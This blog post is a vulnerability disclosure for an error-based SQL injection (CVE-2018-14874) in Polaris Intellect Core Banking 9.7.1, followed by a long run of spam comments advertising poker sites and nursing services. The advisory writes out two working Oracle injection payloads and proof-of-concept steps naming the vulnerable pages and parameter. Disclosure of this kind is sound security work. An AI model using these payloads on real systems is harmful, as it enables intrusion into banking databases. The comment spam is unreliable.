Error Based SQL Injection Vulnerability in Polaris’ Intellect Core Banking Software Version 9.7.1 [CVE-2018-14874]


[+] Credits: Neeraj Kumar, Hai Dang Long
[+] Email: neeraj.iiita2009@gmail.com

Vendor:
====================

Product:
===================
Polaris’ Intellect Core Banking, Armor Module

Version:
===================
Affected Version: 9.7.1

Vulnerability Type:
==========================
Error Based SQL Injection vulnerability

CVE Reference:
==============
 CVE-2018-14874

Vulnerability Details:
======================
SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or changing data. The Intellect Core is and Core Banking software used for manage the core banking functions. In Armor Module of the Intellect Core, input passed through the parameter 'code' in three pages as 'collaterals/colexe3t.jsp' and '/references/refsuppu.jsp' and '/references/refbranu.jsp' is not properly sanitising the input before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, destroy the data or make it otherwise unavailable and escalate his privileges to become administrator of the database server.
Note: This is vulnerable only with authenticated session.

SQL Exploit Code(s):
====================
Payload:
1) ' or 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--
2) '%20or%201=ctxsys.drithsx.sn(1,(select%20sys.stragg(distinct%20banner)%20from%20v$version))--


Affected Component:
====================
Parameter Name: code

Proof-of-Concept:
====================
1. Login into the Application.
2. Access /refsuppu.jsp or /refbranu.jsp page.
3. Put below payloads in code parameter-
Payload-1:' or 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--
Payload-2:'%20or%201=ctxsys.drithsx.sn(1,(select%20sys.stragg(distinct%20banner)%20from%20v$version))--
4.It will give database name in error response.

Payload:
' or 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)—
Figure (a): With Payload-1

'%20or%201=ctxsys.drithsx.sn(1,(select%20sys.stragg(distinct%20banner)%20from%20v$version))--
Figure (b): With Payload-2

Disclosure Timeline:
=====================
Vendor Notofication:17 June 2018
Mitre Notification: 3 August 2018
Public Disclosure: 31 March 2019

Attack Type:
=======================
Remote

Impact Code execution:
=======================
True

Impact Information Disclosure:
=======================
True

Description:
=====================================================
Request Method(s): [+] GET
Vulnerable Product: [+] Intellect Core Banking Software (Polaris), Armor Module Version: 9.7.1
Vulnerable Parameter(s): [+] code

References:
=====================================================

[+] Disclaimer:
=====================================================
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).

Comments

  1. I'm very happy to search out this information processing system. I would like to thank you for this fantastic read!!
    SQL Azure Online Training
    Azure SQL Training
    SQL Azure Training

    ReplyDelete
  2. Poker online situs terbaik yang kini dapat dimainkan seperti Bandar Poker yang menyediakan beberapa situs lainnya seperti http://62.171.128.49/hondaqq/ , kemudian http://62.171.128.49/gesitqq/, http://62.171.128.49/gelangqq/, dan http://62.171.128.49/seniqq. yang paling akhir yaitu http://62.171.128.49/pokerwalet/. Jangan lupa mendaftar di panenqq silakan dicoba bosku serta salam hoki

    ReplyDelete
  3. Interesting Blog and nice contant click here for more information Patient care services at home Patient care taker in gurgaon Patient care taker services in gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/patient-care-taker-services.html

    ReplyDelete
  4. Intersting Blog and nice contant click here for more information
    Patient care taker in gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/patient-care-taker-services.html

    ReplyDelete
  5. Intersting Blog and nice contant click here for more information
    Attendant services in Gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/attendant-services.html

    ReplyDelete
  6. Intersting Blog and nice contant click here for more information
    Critical care services in gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/critical-care-services.html

    ReplyDelete
  7. Intersting Blog and nice contant click here for more information
    Nurse bureaus services in Gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/nurse-bureaus.html

    ReplyDelete
  8. Intersting Blog and nice contant click here for more information
    attendant services in faridabad For more details contant us:- +91-9871672892 visit:- http://careforu.net.in/attendant-care-services-in-faridabad.html

    ReplyDelete
  9. Stunning and Readable Blog.. More Information Call Now: +91-9319280864 Please Visit: Nursing care Services in Delhi Nursing care Services in Delhi conviction that consumer loyalty is as significant as their items and administrations, have helped this foundation earn an immense base of clients, which keeps on developing constantly. Nursing care Services in Delhibusiness utilizes people that are devoted towards their individual jobs and put in a great deal of exertion to accomplish the normal vision and bigger objectives of the organization. Soon, Nursing care Services in Delhibusiness expects to extend its line of items and administrations and oblige a bigger customer base.

    ReplyDelete
  10. General Physician services in Delhi is a professional who practices medicine, which is concerned with promoting, maintaining or restoring human health through General Physician services in Delhi study, diagnosis, and treatment of disease, injury, and other physical and mental impairments. More Information Call Now: +91-9319280864 Please Visit: General Physician services in Delhi

    ReplyDelete
  11. Perfect & Interesting Blog Physiotherapy services in Delhi Physiotherapy is a recuperating technique concentrated on versatility. Physiotherapists assist patients with recapturing portability, beyond what many would consider possible. Physiotherapy services in Delhi evaluate, analyze and treat incapacities. From back agony, neck torment, knee torment, and tendon issues to Parkinson's, Paralysis, Cerebral Palsy, and that's just the beginning. More Information Call Now: +91-9319280864 Please Visit: Physiotherapy services in Delhi

    ReplyDelete
  12. Amazing Content Nursing care services in Delhi Healing in the comfort of one's own home with the complete care and attention of loved ones is something that all of us look forward to. But continuing a treatment from home may necessitate frequent hospital visits, especially for daily medications and procedures. Nursing care services in Delhi means, a lot of travelling, traffic struggles and long waiting lines. At Nightingales, we bring you experienced and state certified nurses who visit your home for all procedures such as injections, infusions, wound dressing, catheterization, vital checks, vaccinations, etc. ensuring a highest quality of treatment at home. More Information Call Now: +91-9319280864 Please Visit: Nursing care services in Delhi

    ReplyDelete
  13. Medical Equipment services in Delhi render this service as per the details provided by our honored consumers. Home medical equipment is a category of devices used for patients whose care is being managed from a home or other private facility managed by a nonprofessional caregiver or family member. Pari Nursing Bureau offers a wide range of Medical Equipment services in Delhi

    ReplyDelete
  14. Attendent services in Delhi attendant at home is quite an affordable option and we assist our patients in their daily needs and requirement in the comfort of their own home. Attendent services in Delhi

    ReplyDelete
  15. Physiotherapists in Sahibabad can help people at any stage of life when movement and function are threatened by aging, injury, diseases, disorders, conditions or environmental factors. Physical therapists help people maximize their quality of life, looking at physical, psychological, emotional and social wellbeing.More Information Call Now: +91-845-911-1920

    ReplyDelete
  16. Nurse Bureaus in Sahibabad provide a wide range of nursing and care services to our clients.Nursing is a skill which includes ministration to the sick, care of the whole patient, care of the patients’ environment, health education and health service to the individual, family and society for the prevention of disease, maintenance of physical well being and promotion of health. Basic nursing care is the unique function of the nurse. . More Information Call Now: +91-845-911-1920

    ReplyDelete
  17. Medical equipment dealers in Ghaziabad Star Nursing Health Care Services Regd offers a wide range of medical equipment for rent or purchase making healthcare more accessible and affordable for you. More Information Call Now: +91-845-911-1920

    ReplyDelete
  18. health care services in Delhi business employs individuals that are dedicated towards their respective roles and put in a lot of effort to achieve the common vision and larger goals of the company. In the near future, this business aims to expand its line of products and services and cater to a larger client base. More Information Call Now: +91-845-911-1920

    ReplyDelete
  19. attendant services in delhi attendant at home is quite an affordable option and we assist our patients in their daily needs and requirement in the comfort of their own home. Our caretakers are responsible and experienced in taking care of patient's day-to-day work including the physical, mental and social activities. Whether it’s personal hygiene, mobilization, bathing, feeding or involving patient into some activities for mental care, caregivers help them with everything! More Information Call Now: +91-845-911-1920

    ReplyDelete
  20. general physician in Delhi physicians treat acorss the life span from newborn to elderly people, our doctors home visit service provides an upportunity to do a holistic clinical assessment, which enables treat you with evidence based practice. Our doctor home vist services are only limited to chronically ill and disabled and for non-emergency conditions, which mean we can treat those illenesses that can be typically be treated in an outpatient clinic setting. More Information Call Now: +91-845-911-1920

    ReplyDelete
  21. would like to thank you for this fantastic read!!
    Post Surgical Physiotherapy

    ReplyDelete
  22. Informative article. If someone is looking for physiotherapy in Bhopal city, you can see here
    Physiotherapy in Bhopal


    ReplyDelete


  23. Techurate provides Smart and Digital software to financial institutions, of any size, anywhere in the world Our clients are the most profitable banks in the world
    banking in africa
    banking software
    Banking automation software
    Cloud banking solutions
    smart biz
    banking software solutions
    digital banking software
    wealth management software

    ReplyDelete
  24. Thank you for sharing this amezing blog. keep sharing.
    Watchful Eye Healthcare Services Provider in Delhi, India’s largest nursing care service provider. We provide highly qualified and trained nurses services, ambulance, pathology for patient care at home. Find the best Nursing Care services in Delhi, India at affordable price. Each healthcare staff from watchful eye health service is highly trained and specialized in caring for all your healthcare needs. To avail of these services, you can call our customer care at 011-69020001
    healthcare services
    ambulance services in delhi
    nursing services near me
    pathology services in delhi

    ReplyDelete
  25. I always like to read this kind of content. Please post more blogs like this. Great content, thanks for sharing this blog. Keep posting in future.
    sterile syringe

    ReplyDelete
  26. As well as reducing these stress levels, regular massages can assist overall physical and mental well-being. 파주출장안마

    ReplyDelete
  27. It's enjoyable to read articles and stories. I am grateful that you shared this.

    ReplyDelete

Post a Comment

Popular posts from this blog

Polaris’ Intellect Core Banking Software Version 9.7.1- Open Redirect [CVE-2018-14931]

Stored XSS Vulnerability in Hot Scripts Clone:Script Classified Version 3.1-[CVE-2018-7650]

Incorrect Access Control- Smart Vista SVFE-2 Module [CVE-2018-15207]